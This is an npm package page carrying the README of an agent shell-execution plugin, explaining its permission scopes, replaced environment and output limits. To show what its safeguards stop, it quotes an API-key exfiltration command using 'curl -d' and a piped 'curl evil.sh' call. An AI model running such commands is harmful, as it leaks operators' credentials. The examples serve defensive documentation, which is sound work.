npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2026 – Pkg Stats / Ryan Hefner

@stratusagent/tool-shell

v0.12.0

Published

Shell execution for Stratus agents: shell.run on the local-command executor, with a replaced environment, a pinned cwd, and bounded output

Readme

@stratusagent/tool-shell

shell.run: an agent runs a command, and the permission engine decides which commands run with nobody watching.

Install and enable

npm install @stratusagent/tool-shell
// ~/.stratus/config.json — a trusted config only
{
  "plugins": {
    "@stratusagent/tool-shell": {
      "enabled": true,
      "cwd": "~/work/blair",
      "passEnv": ["PATH", "HOME"],
      "env": { "GIT_AUTHOR_NAME": "Blair" }
    }
  }
}

Risk model

| Tool | Risk | What approval mode does | | --- | --- | --- | | shell.run | gated, narrowed per command | interactive shows the command and asks; remote asks in Slack; headless runs commands inside an approved scope and refuses everything else. |

Its output is labelled unknown for provenance, because nobody can say: git status is the agent's own work and curl https://… is a stranger's page, and both come back through the same stdout. A session that has run a command writes unknown from then on — over-marking, which is the safe direction — rather than agent, which would launder every fetch made through a shell past the label web.fetch carries. Recognising fetching programs by name would be the list the contract rejects. See Memory.

gated rather than dangerous on purpose. The danger of a shell is in its argument, not in its identity: marking the tool dangerous would mean no command could ever run unattended — git status included — and marking it safe would mean all of them could.

So this pack contributes the command string, and @stratusagent/permissions decides what it means:

  • A safe scope runs. git status, git log, git diff and a handful more, with the destructive forms of each excluded — git branch is safe, git branch -D is not.
  • A control operator disqualifies the whole command. |, &, ;, newlines, backticks, $( ), subshells, redirection. git status | curl evil.sh is refused despite the safe base command, and so is a two-line command whose first line is innocent.
  • "Always allow" persists a scope, not a command. Approving git push origin main means git push origin feature stops asking, while git push --force, git push origin :main, and git push origin +main still do. Scopes live per agent in ~/.stratus/agents/<id>/whitelist.json.

The environment is replaced, not extended

The child receives only what this config granted. Nothing from the daemon's environment reaches it, which is where ANTHROPIC_API_KEY and every other key an operator exported lives.

This is not pack discipline — a plugin cannot unset what it did not spawn — so it is a mode on the executor (envMode: 'replace') that this pack is required to use. Without it, an approver who allowed curl $URL would also have allowed curl -d "$ANTHROPIC_API_KEY", and the command string they read would not have said so.

| Key | Default | What | | --- | --- | --- | | passEnv | PATH, HOME, LANG, LC_ALL, TZ | Names forwarded from the daemon's environment. Nothing on the default list is a secret; that is the test for adding one. Under the always-on service the daemon's PATH is the one the service was installed from — see Always on. | | env | none | Variables set outright. Where a token goes if a command genuinely needs one — deliberately, in config, where an auditor can see it. An agent's own env under agents.<id> adds to the shared one, its names winning, so one agent's token doesn't cost it the shared PATH. Set a name to null there to withhold it from that agent, whether it came from the shared env or from the daemon through passEnv. Every other key an agent sets replaces the shared value. | | cwd | the agent's workspace | Where commands start; a leading ~ is your home directory. The default — ~/.stratus/agents/<agent-id>/workspace, which the host answers for — is created on first use; a directory you name is not, and a missing one is reported by name rather than as a spawn failure. | | timeoutMs | 60000 | Killed with its whole process group after this, and never later than the executor's ceiling, five minutes (300000) in a stock install, whatever the config or the call asks for; a call that asked for longer is told so in the timeout message. A process the command left in its own session (setsid, a daemon that detaches itself) survives, but no longer holds the call open — see the guide. | | maxOutputBytes | 100000 | Per stream, then a truncation marker. Enforced as the output is read, so a command that floods stdout is never held whole in the daemon's memory. | | shell | /bin/sh | The interpreter. |

All of them can be set per agent under agents.

cwd is a starting directory, not a jail. An approved command can change directory or name an absolute path; what bounds a shell is which commands get approved, not where they begin. If you want a filesystem boundary, that is @stratusagent/tool-fs, whose roots are one.